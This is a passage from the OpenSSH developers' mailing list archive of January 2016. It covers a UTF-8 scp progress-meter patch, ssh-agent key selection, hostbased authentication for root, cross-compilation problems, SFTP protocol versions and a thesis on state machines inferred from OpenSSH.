Michael Stone wrote on Wed, Jan 20, 2016 at 07:50:03AM -0500:
> On Wed, Jan 20, 2016 at 01:13:10AM +0100, Roland Mainz wrote:

>> 3. I am not sure whether there is a specific byte limit for UTF-8 in
>> any of the standards, e.g. "- To support terminals larger then
>> MAX_WINSIZE and still be properly indented I increased the buf size to
>> 4x the size of MAX_WINSIZE, since the maximum size of an UTF-8 char
>> <should> be 4 bytes." might not be a portable assumption and I would
>> at least safeguard it.

> Isn't that assumption completely broken in the presence of combining
> characters?

It is.  As far as i understand, given any natural number N > 0,
you can construct a valid Unicode string of display width 1
such that its UTF-8 encoding consists of N bytes.

Not that such strings are terribly useful for large N, but we do
indeed have to keep in mind that the code must not break when it
encouters them.  Martijn's code already seems safe in *that*
respect, it just cuts the string early and pads with blanks if
the buffer is too short, but i'll re-check before deciding on a
final version.

Thanks for the reminder!

Yours,
  Ingo

From wfaulk at gmail.com  Thu Jan 21 11:34:44 2016
From: wfaulk at gmail.com (William Faulk)
Date: Wed, 20 Jan 2016 19:34:44 -0500
Subject: Selecting specific key from agent
Message-ID: <CAPcvaY6SEr-Trj3ihKvoUwE=2CymPXRB43T_Fn-8dJKC+NMEug@mail.gmail.com>

There are cases when a user might have multiple keys in ssh-agent, but
wants to use a specific one. Unless I'm mistaken, this is currently
impossible. I've put together a proof of concept using the key's
"filename" (the third column in the output of 'ssh-add -l') and it
works.

Is this a new feature that would be accepted? If so, should the key be
identified with its "filename", or a fingerprint, or something else?
What would be an appropriate option name? Does it make more sense to
prevent loading the other keys at all, or to load them but not
transmit the ones that don't match?

-- 
Bitt Faulk

From sweet_f_a at gmx.de  Thu Jan 21 18:50:03 2016
From: sweet_f_a at gmx.de (Ruediger Meier)
Date: Thu, 21 Jan 2016 08:50:03 +0100
Subject: Selecting specific key from agent
In-Reply-To: <CAPcvaY6SEr-Trj3ihKvoUwE=2CymPXRB43T_Fn-8dJKC+NMEug@mail.gmail.com>
References: <CAPcvaY6SEr-Trj3ihKvoUwE=2CymPXRB43T_Fn-8dJKC+NMEug@mail.gmail.com>
Message-ID: <201601210850.03894.sweet_f_a@gmx.de>

On Thursday 21 January 2016, William Faulk wrote:
> There are cases when a user might have multiple keys in ssh-agent,
> but wants to use a specific one. Unless I'm mistaken, this is
> currently impossible.

You can do that with option "IdentityFile", see "man ssh_config".
Either specified with -o or IMO better in ~/.ssh/config like my example 
here:

Host gcc?? gcc??? gcc*.fsffrance.org
        IdentityFile /home/rudi/.ssh/gccfarm_rudi_dsa
        IdentitiesOnly=yes
        PasswordAuthentication no

Host * !gcc?? !gcc??? !gcc*.fsffrance.org
        IdentityFile /home/rudi/.ssh/id_ecdsa

cu,
Rudi

From wfaulk at gmail.com  Fri Jan 22 01:25:04 2016
From: wfaulk at gmail.com (William Faulk)
Date: Thu, 21 Jan 2016 09:25:04 -0500
Subject: Selecting specific key from agent
In-Reply-To: <201601210850.03894.sweet_f_a@gmx.de>
References: <CAPcvaY6SEr-Trj3ihKvoUwE=2CymPXRB43T_Fn-8dJKC+NMEug@mail.gmail.com>
 <201601210850.03894.sweet_f_a@gmx.de>
Message-ID: <CAPcvaY5OxW9-3bXJOdGHo7aEsUaWHBSjG7cVsedpCEThe2GnDg@mail.gmail.com>

On Thu, Jan 21, 2016 at 2:50 AM, Ruediger Meier <sweet_f_a at gmx.de> wrote:
>
> You can do that with option "IdentityFile"

IdentityFile currently only looks at a specific file on the
filesystem. It doesn't modify what key is chosen from an agent. This
does not work when your key doesn't exist on the local filesystem,
such as when you're logged into a remote system and relying on
ForwardAgent.

-- 
Bitt Faulk

From naddy at mips.inka.de  Fri Jan 22 02:11:02 2016
From: naddy at mips.inka.de (Christian Weisgerber)
Date: Thu, 21 Jan 2016 15:11:02 +0000 (UTC)
Subject: Selecting specific key from agent
References: <CAPcvaY6SEr-Trj3ihKvoUwE=2CymPXRB43T_Fn-8dJKC+NMEug@mail.gmail.com>
 <201601210850.03894.sweet_f_a@gmx.de>
Message-ID: <slrnna1t86.l69.naddy@lorvorc.mips.inka.de>

On 2016-01-21, Ruediger Meier <sweet_f_a at gmx.de> wrote:

>> There are cases when a user might have multiple keys in ssh-agent,
>> but wants to use a specific one. Unless I'm mistaken, this is
>> currently impossible.
>
> You can do that with option "IdentityFile", see "man ssh_config".

That assumes that the key files are locally available.

If you are on host A and want to connect to B, it is perfectly
possible to have keys in the agent that were added on another host C.

-- 
Christian "naddy" Weisgerber                          naddy at mips.inka.de

From keisial at gmail.com  Fri Jan 22 11:45:59 2016
From: keisial at gmail.com (=?ISO-8859-1?Q?=C1ngel_Gonz=E1lez?=)
Date: Fri, 22 Jan 2016 01:45:59 +0100
Subject: Selecting specific key from agent
In-Reply-To: <slrnna1t86.l69.naddy@lorvorc.mips.inka.de>
References: <CAPcvaY6SEr-Trj3ihKvoUwE=2CymPXRB43T_Fn-8dJKC+NMEug@mail.gmail.com>
 <201601210850.03894.sweet_f_a@gmx.de>
 <slrnna1t86.l69.naddy@lorvorc.mips.inka.de>
Message-ID: <56A17BC7.9060104@gmail.com>

On 21/01/16 16:11, Christian Weisgerber wrote:
> On 2016-01-21, Ruediger Meier<sweet_f_a at gmx.de>  wrote:
>
>>> There are cases when a user might have multiple keys in ssh-agent,
>>> but wants to use a specific one. Unless I'm mistaken, this is
>>> currently impossible.
>> You can do that with option "IdentityFile", see "man ssh_config".
> That assumes that the key files are locally available.
>
> If you are on host A and want to connect to B, it is perfectly
> possible to have keys in the agent that were added on another host C.
>
Note you can provide to IdentityFile a file containing the *public* key. 
So no need to copy the key into B.

(Actually, it can also be beneficial, as not having the key in the agent 
will procude a failure, instead of ssh(1) requesting the key password, 
which is an UI that could be produced by a compromised server)


From peter at stuge.se  Fri Jan 22 12:08:54 2016
From: peter at stuge.se (Peter Stuge)
Date: Fri, 22 Jan 2016 02:08:54 +0100
Subject: Selecting specific key from agent
In-Reply-To: <CAPcvaY6SEr-Trj3ihKvoUwE=2CymPXRB43T_Fn-8dJKC+NMEug@mail.gmail.com>
References: <CAPcvaY6SEr-Trj3ihKvoUwE=2CymPXRB43T_Fn-8dJKC+NMEug@mail.gmail.com>
Message-ID: <20160122010854.1579.qmail@stuge.se>

William Faulk wrote:
> There are cases when a user might have multiple keys in ssh-agent, but
> wants to use a specific one. Unless I'm mistaken, this is currently
> impossible. I've put together a proof of concept using the key's
> "filename" (the third column in the output of 'ssh-add -l') and it
> works.

Is security one of the motivations for the change?

In that case, the user interface needs to be agent-side.


//Peter

From s8weber at uwaterloo.ca  Sat Jan 23 02:02:21 2016
From: s8weber at uwaterloo.ca (Steve Weber)
Date: Fri, 22 Jan 2016 15:02:21 +0000
Subject: HostbasedAuthentication for root user
Message-ID: <A4F761B71137194497DFB326CE3FB6879989E892@connmbx01>

after reading:
http://www.derkeiler.com/Newsgroups/comp.security.ssh/2002-02/0130.html
http://lists.opensuse.org/opensuse-amd64/2004-09/msg00202.html

it seems that HostbasedAuthentication only works for none root users unless:

To work around that I can set:
IgnoreRhosts no

and `ln -s /etc/ssh/shosts.equiv /root/.shosts`

However: IgnoreRhosts seems unsafe... 
does setting:

RhostsRSAAuthentication no
RhostsAuthentication no

remove most of the risk?

If no? how can i safely enable:
Hostbased authentication and have root work the same as any user?
without managing roots .ssh/authorized_keys 


http://docstore.mik.ua/orelly/networking_2ndEd/ssh/ch05_05.htm
IgnoreRootRhosts no
perhaps would be nice to have..

Also it would have saved me *many hours if something was in the man pages or the openssh FAQ that said HostbasedAuthentication "does not work" for root the same as other users

From igor at mir2.org  Sat Jan 23 22:18:11 2016
From: igor at mir2.org (Igor Bukanov)
Date: Sat, 23 Jan 2016 12:18:11 +0100
Subject: unexpected HostKeyAgent and HostKeyAlgorithms interaction
Message-ID: <CADd11yVL5=QR_H5tU4p2zCEP0ekYUGO8C8orv+9vSJkpKtPDmw@mail.gmail.com>

Hi,

I use HostKeyAgent in sshd_config for sshd 7.1. If I have HostKeyAgent
without any HostKey directives, then ssh 7.1 client, after connecting
to the server using client ED25519 key, stores in ~/.ssh/known_hosts :

host ecdsa-sha2-nistp256 public-key

If I add then to sshd_config HostKey pointing to the ED25519 public
key to restrict the list of keys from the ssh-agent that the server
uses, then the client stores in ~/.ssh/known_hosts:

host ssh-ed25519 ...

As the result, if after adding HostKey I connect to the server, the
client reports remote host identification change and refuse the
connection as it thinks it gets a different server key.

I can workaround that with a recently added explicit HostKeyAlgorithms
that just lists ssh-ed25519,ssh-rsa. Then known_hosts always uses host
ssh-ed25519 even without HostKey in the config.  Still I am puzzled
why presence of HostKey influences HostKeyAlgorithms at all? I really
expected that it should just restrict the keys from the agent.

Regards, Igor

From ranshalit at gmail.com  Sun Jan 24 22:05:53 2016
From: ranshalit at gmail.com (Ran Shalit)
Date: Sun, 24 Jan 2016 13:05:53 +0200
Subject: libcrypto.so is missing on running sftp-server
Message-ID: <CAJ2oMh+bpxbF+oE7FgVb3T_aSsDE_kc6TRdB3v64q-mqEnVENg@mail.gmail.com>

Hello,

I've cross compiled openssh, openssl, and zlib
But on trying to run stfp-server with
/libexec/sftp-server
I get the following error:
 error while loading shared libraries: libcrypto.so.1.0.0: cannot open
shared object file: No such file or directory

On checking openssl installed files, I see that it created
/lib/libcrypto.a but not libcrypto.so

This is the configure I used:
./Configure shared dist --prefix=/home/ubuntu/openssh/openssl
Trying to add "shared" option did not help.

I hope someone can help me understand what is twrong with the build I've done.

I've used the following steps for the build process:

Build Zlib:

    cd zlib-1.2.7
    CC=arm-linux-gnueabi-gcc
    ./configure --prefix=$HOME/zlibArm
    make
    make install

Build OpenSSL:

    export cross=arm-linux-gnueabi-
    cd openssl-1.0.1c
    ./Configure dist --prefix=$HOME/opensslArm
    make CC="${cross}gcc" AR="${cross}ar r" RANLIB="${cross}ranlib"
    make install

Build OpenSSH:

    ./configure --host=arm-linux --with-libs --with-zlib=$HOME/zlibArm
--with-ssl-dir=$HOME/opensslArm --disable-etc-default-login
CC=gcc-arm-linux-gnueabi-gcc AR=gcc-arm-linux-gnueabi-ar
    make


Thank you!
Ran

From mshalet at gmail.com  Mon Jan 25 19:08:19 2016
From: mshalet at gmail.com (Maria Shalet)
Date: Mon, 25 Jan 2016 11:08:19 +0300
Subject: Version of SFTP
In-Reply-To: <CAODi7fGGP9nOdkgNxBjYSSF_Mz+TwzAA=VrWGsJ=RxNxKdek+A@mail.gmail.com>
References: <CAODi7fGGP9nOdkgNxBjYSSF_Mz+TwzAA=VrWGsJ=RxNxKdek+A@mail.gmail.com>
Message-ID: <CAODi7fHom4U+iA_4UBYkZ0EvpHJTMcYCR11jMr0jV0MFCryV5A@mail.gmail.com>

The link

http://www.greenend.org.uk/rjk/sftp/sftpversions.html

On Mon, Jan 25, 2016 at 11:07 AM, Maria Shalet <mshalet at gmail.com> wrote:

> Dear Developers,
>            In the Open SSH package, we have only V3 of sftp.  Here the
> mode of transfer is only binary.
>
>              According to the below link I find there are later versions
> of the SFTP protocol that have been defined, but not available in OpenSSH.
>
>              Can these later versions of SFTP be included in the later
> releases of OpenSSH package.
>
>               I am currently working on AIX systems. If you need any
> support please let me know
> --
> Warm regards
> Shalet Mascarenhas
>
>
>
>
>


-- 
Warm regards
Shalet Mascarenhas

From maurice.volaski at einstein.yu.edu  Tue Jan 26 04:29:57 2016
From: maurice.volaski at einstein.yu.edu (Maurice R Volaski)
Date: Mon, 25 Jan 2016 17:29:57 +0000
Subject: What is causing operation not permitted?
Message-ID: <7AF9C6E5-785A-4E76-935F-B344E87A305D@einstein.yu.edu>

Since upgrading my funtoo box with openssh-7.1_p2, I am able to login (as maurice) but am getting the following output in the terminal

initgroups maurice 20: Operation not permitted
ssh_keysign: no reply
key_sign failed


This is what the debug log shows:
debug2: userauth_hostbased: chost ussflux.fios-router.home.
debug2: ssh_keysign called
debug3: ssh_msg_send: type 2
debug3: ssh_msg_recv entering
debug1: permanently_drop_suid: 501
initgroups maurice 20: Operation not permitted
ssh_keysign: no reply
key_sign failed
debug2: we did not send a packet, disable method


From jjelen at redhat.com  Tue Jan 26 18:06:22 2016
From: jjelen at redhat.com (Jakub Jelen)
Date: Tue, 26 Jan 2016 08:06:22 +0100
Subject: What is causing operation not permitted?
In-Reply-To: <7AF9C6E5-785A-4E76-935F-B344E87A305D@einstein.yu.edu>
References: <7AF9C6E5-785A-4E76-935F-B344E87A305D@einstein.yu.edu>
Message-ID: <56A71AEE.30101@redhat.com>

On 01/25/2016 06:29 PM, Maurice R Volaski wrote:
> Since upgrading my funtoo box with openssh-7.1_p2, I am able to login (as maurice) but am getting the following output in the terminal
>
> initgroups maurice 20: Operation not permitted
> ssh_keysign: no reply
> key_sign failed
>
>
> This is what the debug log shows:
> debug2: userauth_hostbased: chost ussflux.fios-router.home.
You are using HostBased authentication to the host? It is not enabled by 
default. You added to your ssh_config HostbasedAuthentication yes?
 From which version did you update?
> debug2: we did not send a packet, disable method
Probably you are authenticating using different method since this one 
fails. Or did you authenticate using this one before?

-- 
Jakub Jelen
Security Technologies
Red Hat


From p.verleg at student.science.ru.nl  Wed Jan 27 00:43:05 2016
From: p.verleg at student.science.ru.nl (P. V.)
Date: Tue, 26 Jan 2016 14:43:05 +0100
Subject: Questions about inferred state machines for OpenSSH
Message-ID: <CAFrRmi7G8QRbm70EBj8sKJrrwESpswNmh6R2VYUf_n51Cogc_A@mail.gmail.com>

Dear all,

For my thesis, I've been working on automatic inference of state
machines for SSH servers. I ran into a couple of particularities
regarding OpenSSH's inferred state machine, and was hoping some of you
might be interested. Maybe you can even shed some light on it.

Setup: I'm using LearnLib's (Java) version of the L* learning
algorithm [1] to come up with sequences of textual representations of
SSH messages (such as "DEBUG; DISCONNECT"). An altered version of
Paramiko (Python) receives those queries and translates them to actual
SSH traffic, which is sent to OpenSSH. Responses are fed to the
learning algorithm, resulting in a state machine.

The PDFs of inferred state machines, as well as the used messages, can
be found online [2]. I've queried the the transport layer, user
authentication layer and connection layer separately.

Now for my questions. Assuming my results are correct, it seems that:
1) OpenSSH is extremely liberal when it comes to exchanging kexinit
messsages (openssh-localhost-L1.pdf). It allows entering a key
exchange without receiving a proper kexinit message at all. Since this
message is required to exchange parameters, does this imply that
OpenSSH will guess those when no kexinit is received?

2) OpenSSH does not allow rekeying until after correct user
authentication. The RFCs specify otherwise. Is this a deliberate
choice?

3) OpenSSH shows peculiar behavior in user re-authentication. Some
re-authentication methods seem to be disallowed after an unsuccessful
authentication attempt. You can see what I mean in
openssh-localhost-L2.pdf. Is this intended behavior, a bug, or perhaps
an error on my side?

4) Unlike other tested SSH servers, OpenSSH seems to close the entire
connection (rather than close the channel) on a channel-close message
in certain conditions. This results in the 'has_commands' and
'has_commands_pty' states in openssh-localhost-L3.pdf. I was wondering
why. An error on my side, or intended behavior?

I'd be more than happy to hear what you think about the results.
Please let me know if you need any further information! I can also
share a conceptual version of my thesis for those interested.

Kind regards, Patrick

[1] http://sp09.pbworks.com/f/LearningJournal.pdf
[2] https://drive.google.com/folderview?id=0B6T2_FvFKPIkRGdqVDFtOXNQQWc

From djm at mindrot.org  Wed Jan 27 18:38:57 2016
From: djm at mindrot.org (Damien Miller)
Date: Wed, 27 Jan 2016 18:38:57 +1100 (AEDT)
Subject: Questions about inferred state machines for OpenSSH
In-Reply-To: <CAFrRmi7G8QRbm70EBj8sKJrrwESpswNmh6R2VYUf_n51Cogc_A@mail.gmail.com>
References: <CAFrRmi7G8QRbm70EBj8sKJrrwESpswNmh6R2VYUf_n51Cogc_A@mail.gmail.com>
Message-ID: <alpine.BSO.2.20.1601271813210.7580@natsu.mindrot.org>

On Tue, 26 Jan 2016, P. V. wrote:

> Dear all,
> 
> For my thesis, I've been working on automatic inference of state
> machines for SSH servers. I ran into a couple of particularities
> regarding OpenSSH's inferred state machine, and was hoping some of you
> might be interested. Maybe you can even shed some light on it.
> 
> Setup: I'm using LearnLib's (Java) version of the L* learning
> algorithm [1] to come up with sequences of textual representations of
> SSH messages (such as "DEBUG; DISCONNECT"). An altered version of
> Paramiko (Python) receives those queries and translates them to actual
> SSH traffic, which is sent to OpenSSH. Responses are fed to the
> learning algorithm, resulting in a state machine.

> The PDFs of inferred state machines, as well as the used messages, can
> be found online [2]. I've queried the the transport layer, user
> authentication layer and connection layer separately.
> 
> Now for my questions. Assuming my results are correct, it seems that:
> 1) OpenSSH is extremely liberal when it comes to exchanging kexinit
> messsages (openssh-localhost-L1.pdf). It allows entering a key
> exchange without receiving a proper kexinit message at all. Since this
> message is required to exchange parameters, does this imply that
> OpenSSH will guess those when no kexinit is received?

I'm not sure what you mean by "entering a key exchange without receiving
a proper kexinit message" because key exchange is initiated by a kexinit
message. Do you mean that method specific messages are accepted before
KEXINIT? (I can't see how this can happen from looking at the code).

> 2) OpenSSH does not allow rekeying until after correct user
> authentication. The RFCs specify otherwise. Is this a deliberate
> choice?

I don't think this is the case, it is true that ssh/sshd
fail to apply rekeying limits before completion of userauth but I
think they will respond to KEXINIT messages.

> 3) OpenSSH shows peculiar behavior in user re-authentication. Some
> re-authentication methods seem to be disallowed after an unsuccessful
> authentication attempt. You can see what I mean in
> openssh-localhost-L2.pdf. Is this intended behavior, a bug, or perhaps
> an error on my side?

Not sure what you mean here, but we don't support re-authentication
(as I understand the term). Do you mean subsequent authentication
requests after a "partial" authentication success, authentication
requests after a failed request or something different?

We certainly shouldn't allow requesting the userauth service after
userauth has completed.

> 4) Unlike other tested SSH servers, OpenSSH seems to close the entire
> connection (rather than close the channel) on a channel-close message
> in certain conditions. This results in the 'has_commands' and
> 'has_commands_pty' states in openssh-localhost-L3.pdf. I was wondering
> why. An error on my side, or intended behavior?

It would be helpful to see debug messages from ssh/sshd for this case
(well, all cases but this in particular).

-d

From djm at mindrot.org  Wed Jan 27 18:41:33 2016
From: djm at mindrot.org (Damien Miller)
Date: Wed, 27 Jan 2016 18:41:33 +1100 (AEDT)
Subject: Version of SFTP
In-Reply-To: <CAODi7fHom4U+iA_4UBYkZ0EvpHJTMcYCR11jMr0jV0MFCryV5A@mail.gmail.com>
References: <CAODi7fGGP9nOdkgNxBjYSSF_Mz+TwzAA=VrWGsJ=RxNxKdek+A@mail.gmail.com>
 <CAODi7fHom4U+iA_4UBYkZ0EvpHJTMcYCR11jMr0jV0MFCryV5A@mail.gmail.com>
Message-ID: <alpine.BSO.2.20.1601271840040.7580@natsu.mindrot.org>

Sorry, but we have no intention of supporting the later
SFTP versions. In fact, adding "text" transfer modes to the
protocol was the proximal reason why we don't - we consider it
a bad idea.

There are 3rd-party sftp servers you can use with OpenSSH that do support
the later drafts if you can't bring yourself to convert things on the
endpoints.

-d

On Mon, 25 Jan 2016, Maria Shalet wrote:

> The link
> 
> http://www.greenend.org.uk/rjk/sftp/sftpversions.html
> 
> On Mon, Jan 25, 2016 at 11:07 AM, Maria Shalet <mshalet at gmail.com> wrote:
> 
> > Dear Developers,
> >            In the Open SSH package, we have only V3 of sftp.  Here the
> > mode of transfer is only binary.
> >
> >              According to the below link I find there are later versions
> > of the SFTP protocol that have been defined, but not available in OpenSSH.
> >
> >              Can these later versions of SFTP be included in the later
> > releases of OpenSSH package.
> >
> >               I am currently working on AIX systems. If you need any
> > support please let me know
> > --
> > Warm regards
> > Shalet Mascarenhas
> >
> >
> >
> >
> >
> 
> 
> -- 
> Warm regards
> Shalet Mascarenhas
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev
> 

From djm at mindrot.org  Wed Jan 27 19:05:41 2016
From: djm at mindrot.org (Damien Miller)
Date: Wed, 27 Jan 2016 19:05:41 +1100 (AEDT)
Subject: FWD: [patch] scp + UTF-8
In-Reply-To: <20160119214853.GH9300@athene.usta.de>
References: <20160119214853.GH9300@athene.usta.de>
Message-ID: <alpine.BSO.2.20.1601271903220.7580@natsu.mindrot.org>

POSIX is fine, but why not prepare a filtered version of the filename
once instead of doing it on every output?

On Tue, 19 Jan 2016, Ingo Schwarze wrote:

> Hi,
> 
> Martijn sent the following patch to me in private and agreed that i post
> it here.
> 
> In any other program in OpenBSD base, i'd probably agree with the
> basic approach.  Regarding OpenSSH, however, i worry whether wcwidth(3)
> can be used.  While wcwidth(3) is POSIX, it is not ISO C.  Does
> OpenSSH target platforms that don't provide wcwidth(3)?  If so,
> do you think the problem can be solved by simply providing US-ASCII
> support only on such platforms, but no UTF-8 support at all?
> 
> If you think we can require wcwidth(3), or we can ditch UTF-8 support
> where wcwidth(3) it isn't available, i will work with Martijn to
> iron out a few style issues such that we can submit a patch that
> is ready for commit.
> 
> If you think we cannot require wcwidth(3) but need UTF-8 support
> everywhere, i suggest to postpone this until we get djm@'s ssh(1)
> banner patch in.  I sent some feedback on that earlier, proposing
> to use a whitelist rather than the blacklist proposed by djm@ which
> seems dangerous to me.  Should i integrate that suggestion into Damien's
> patch, repost the modified patch, and then continue review?  I suspect
> there might be one or two other things that could be improved, but i'm
> not quite sure yet.
> 
> Once that is in, we can do something similar for wcwidth(3).
> 
> Yours,
>   Ingo
> 
> P.S.
> This patch also uses mbtowc(3), but i assume that's no problem
> because that's ANSI C.
> 
> ----- Forwarded message from Martijn van Duren -----
> 
> From: Martijn van Duren
> Date: Sun, 17 Jan 2016 11:13:01 +0100
> To: Ingo Schwarze <schwarze at usta.de>
> Subject: [patch] scp + UTF-8
> 
> [...]
> 
> I've tested this under the following conditions:
> - It lines out the same way the current scp does for ascii.
> - when shrinking the terminal it prints just as much characters
>   (width) of the filename as ascii would.
> - To support terminals larger then MAX_WINSIZE and still be properly
>   indented I increased the buf size to 4x the size of MAX_WINSIZE,
>   since the maximum size of an UTF-8 char <should> be 4 bytes.
>   It's quite a lot more memory, but I reckon it's better then the
>   horrible indentation we have now.
> 
> I primarily developed this with scp and only minimally tested it with
> sftp, but it should work with both.  sftp already called setlocale,
> so no patch is needed for sftp.c.
> 
> [...]
> 
> Index: progressmeter.c
> ===================================================================
> RCS file: /cvs/src/usr.bin/ssh/progressmeter.c,v
> retrieving revision 1.41
> diff -u -p -r1.41 progressmeter.c
> --- progressmeter.c	14 Jan 2015 13:54:13 -0000	1.41
> +++ progressmeter.c	17 Jan 2016 09:07:51 -0000
> @@ -30,9 +30,11 @@
>  #include <errno.h>
>  #include <signal.h>
>  #include <stdio.h>
> +#include <stdlib.h>
>  #include <string.h>
>  #include <time.h>
>  #include <unistd.h>
> +#include <wchar.h>
>  
>  #include "progressmeter.h"
>  #include "atomicio.h"
> @@ -117,7 +119,7 @@ format_size(char *buf, int size, off_t b
>  void
>  refresh_progress_meter(void)
>  {
> -	char buf[MAX_WINSIZE + 1];
> +	char buf[(MAX_WINSIZE * 4) + 1];
>  	time_t now;
>  	off_t transferred;
>  	double elapsed;
> @@ -125,8 +127,10 @@ refresh_progress_meter(void)
>  	off_t bytes_left;
>  	int cur_speed;
>  	int hours, minutes, seconds;
> -	int i, len;
> -	int file_len;
> +	int width, size, buf_width, buf_size;
> +	int i;
> +	int file_width;
> +	wchar_t wc;
>  
>  	transferred = *counter - (cur_pos ? cur_pos : start_pos);
>  	cur_pos = *counter;
> @@ -157,16 +161,33 @@ refresh_progress_meter(void)
>  
>  	/* filename */
>  	buf[0] = '\0';
> -	file_len = win_size - 35;
> -	if (file_len > 0) {
> -		len = snprintf(buf, file_len + 1, "\r%s", file);
> -		if (len < 0)
> -			len = 0;
> -		if (len >= file_len + 1)
> -			len = file_len;
> -		for (i = len; i < file_len; i++)
> -			buf[i] = ' ';
> -		buf[file_len] = '\0';
> +	file_width = win_size - 36;
> +	if (file_width > 0) {
> +		buf[0] = '\r';
> +		for (i = 0, buf_width = 0, buf_size = 1;
> +		    file[i] != '\0';) {
> +			if ((size = mbtowc(&wc, &(file[i]), MB_CUR_MAX)) == -1) {
> +				(void)mbtowc(NULL, NULL, MB_CUR_MAX);
> +				buf[buf_size++] = '?';
> +				buf_width++;
> +				i++;
> +			} else if ((width = wcwidth(wc)) == -1) {
> +				buf[buf_size++] = '?';
> +				buf_width++;
> +				i++;
> +			} else if (buf_width + width <= file_width &&
> +			    buf_size + size <= (int) sizeof(buf) - 35) {
> +				memcpy(&(buf[buf_size]), &(file[i]), size);
> +				i += size;
> +				buf_size += size;
> +				buf_width += width;
> +			} else
> +				break;
> +		}
> +		for (; buf_width < file_width &&
> +		    buf_size < (int) sizeof(buf) - 35; buf_width++)
> +			buf[buf_size++] = ' ';
> +		buf[buf_size] = '\0';
>  	}
>  
>  	/* percent of transfer done */
> @@ -174,18 +195,18 @@ refresh_progress_meter(void)
>  		percent = ((float)cur_pos / end_pos) * 100;
>  	else
>  		percent = 100;
> -	snprintf(buf + strlen(buf), win_size - strlen(buf),
> +	snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf),
>  	    " %3d%% ", percent);
>  
>  	/* amount transferred */
> -	format_size(buf + strlen(buf), win_size - strlen(buf),
> +	format_size(buf + strlen(buf), sizeof(buf) - strlen(buf),
>  	    cur_pos);
> -	strlcat(buf, " ", win_size);
> +	strlcat(buf, " ", sizeof(buf));
>  
>  	/* bandwidth usage */
> -	format_rate(buf + strlen(buf), win_size - strlen(buf),
> +	format_rate(buf + strlen(buf), sizeof(buf) - strlen(buf),
>  	    (off_t)bytes_per_second);
> -	strlcat(buf, "/s ", win_size);
> +	strlcat(buf, "/s ", sizeof(buf));
>  
>  	/* ETA */
>  	if (!transferred)
> @@ -194,9 +215,9 @@ refresh_progress_meter(void)
>  		stalled = 0;
>  
>  	if (stalled >= STALL_TIME)
> -		strlcat(buf, "- stalled -", win_size);
> +		strlcat(buf, "- stalled -", sizeof(buf));
>  	else if (bytes_per_second == 0 && bytes_left)
> -		strlcat(buf, "  --:-- ETA", win_size);
> +		strlcat(buf, "  --:-- ETA", sizeof(buf));
>  	else {
>  		if (bytes_left > 0)
>  			seconds = bytes_left / bytes_per_second;
> @@ -209,19 +230,21 @@ refresh_progress_meter(void)
>  		seconds -= minutes * 60;
>  
>  		if (hours != 0)
> -			snprintf(buf + strlen(buf), win_size - strlen(buf),
> +			snprintf(buf + strlen(buf),
> +			    sizeof(buf) - strlen(buf),
>  			    "%d:%02d:%02d", hours, minutes, seconds);
>  		else
> -			snprintf(buf + strlen(buf), win_size - strlen(buf),
> +			snprintf(buf + strlen(buf),
> +			    sizeof(buf) - strlen(buf),
>  			    "  %02d:%02d", minutes, seconds);
>  
>  		if (bytes_left > 0)
> -			strlcat(buf, " ETA", win_size);
> +			strlcat(buf, " ETA", sizeof(buf));
>  		else
> -			strlcat(buf, "    ", win_size);
> +			strlcat(buf, "    ", sizeof(buf));
>  	}
>  
> -	atomicio(vwrite, STDOUT_FILENO, buf, win_size - 1);
> +	atomicio(vwrite, STDOUT_FILENO, buf, strlen(buf));
>  	last_update = now;
>  }
>  
> Index: scp.c
> ===================================================================
> RCS file: /cvs/src/usr.bin/ssh/scp.c,v
> retrieving revision 1.184
> diff -u -p -r1.184 scp.c
> --- scp.c	27 Nov 2015 00:49:31 -0000	1.184
> +++ scp.c	17 Jan 2016 09:07:52 -0000
> @@ -83,6 +83,7 @@
>  #include <dirent.h>
>  #include <errno.h>
>  #include <fcntl.h>
> +#include <locale.h>
>  #include <pwd.h>
>  #include <signal.h>
>  #include <stdarg.h>
> @@ -501,6 +502,8 @@ main(int argc, char **argv)
>  	    targetshouldbedirectory ? " -d" : "");
>  
>  	(void) signal(SIGPIPE, lostconn);
> +
> +	(void) setlocale(LC_CTYPE, "");
>  
>  	if ((targ = colon(argv[argc - 1])))	/* Dest is remote host. */
>  		toremote(targ, argc, argv);
> 
> ----- End forwarded message -----
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev
> 

From nkadel at gmail.com  Wed Jan 27 21:30:47 2016
From: nkadel at gmail.com (Nico Kadel-Garcia)
Date: Wed, 27 Jan 2016 05:30:47 -0500
Subject: Version of SFTP
In-Reply-To: <alpine.BSO.2.20.1601271840040.7580@natsu.mindrot.org>
References: <CAODi7fGGP9nOdkgNxBjYSSF_Mz+TwzAA=VrWGsJ=RxNxKdek+A@mail.gmail.com>
 <CAODi7fHom4U+iA_4UBYkZ0EvpHJTMcYCR11jMr0jV0MFCryV5A@mail.gmail.com>
 <alpine.BSO.2.20.1601271840040.7580@natsu.mindrot.org>
Message-ID: <CAOCN9rw_1qA4prjrE-WyAskMV9kc7qUCFN-aKhuPj8wmpcKUTA@mail.gmail.com>

On Wed, Jan 27, 2016 at 2:41 AM, Damien Miller <djm at mindrot.org> wrote:
> Sorry, but we have no intention of supporting the later
> SFTP versions. In fact, adding "text" transfer modes to the
> protocol was the proximal reason why we don't - we consider it
> a bad idea.
>
> There are 3rd-party sftp servers you can use with OpenSSH that do support
> the later drafts if you can't bring yourself to convert things on the
> endpoints.

Thanks. There are a lot of features of the real FTP protocol which
might be desirable, but the inline rewriting of file content has
always been a very dangerous, easily misused one.

From p.verleg at student.science.ru.nl  Wed Jan 27 22:11:06 2016
From: p.verleg at student.science.ru.nl (P. V.)
Date: Wed, 27 Jan 2016 12:11:06 +0100
Subject: Questions about inferred state machines for OpenSSH
In-Reply-To: <alpine.BSO.2.20.1601271813210.7580@natsu.mindrot.org>
References: <CAFrRmi7G8QRbm70EBj8sKJrrwESpswNmh6R2VYUf_n51Cogc_A@mail.gmail.com>
 <alpine.BSO.2.20.1601271813210.7580@natsu.mindrot.org>
Message-ID: <CAFrRmi5DbSGCPf_VURfYyJJSwtWvtNcdEkEbLQy=EYRWN=b65w@mail.gmail.com>

Hi Damien,

Thanks for your reply. I really appreciate you taking the time to
investigate this.

I will try to clarify some things.

> I'm not sure what you mean by "entering a key exchange without receiving
> a proper kexinit message" because key exchange is initiated by a kexinit
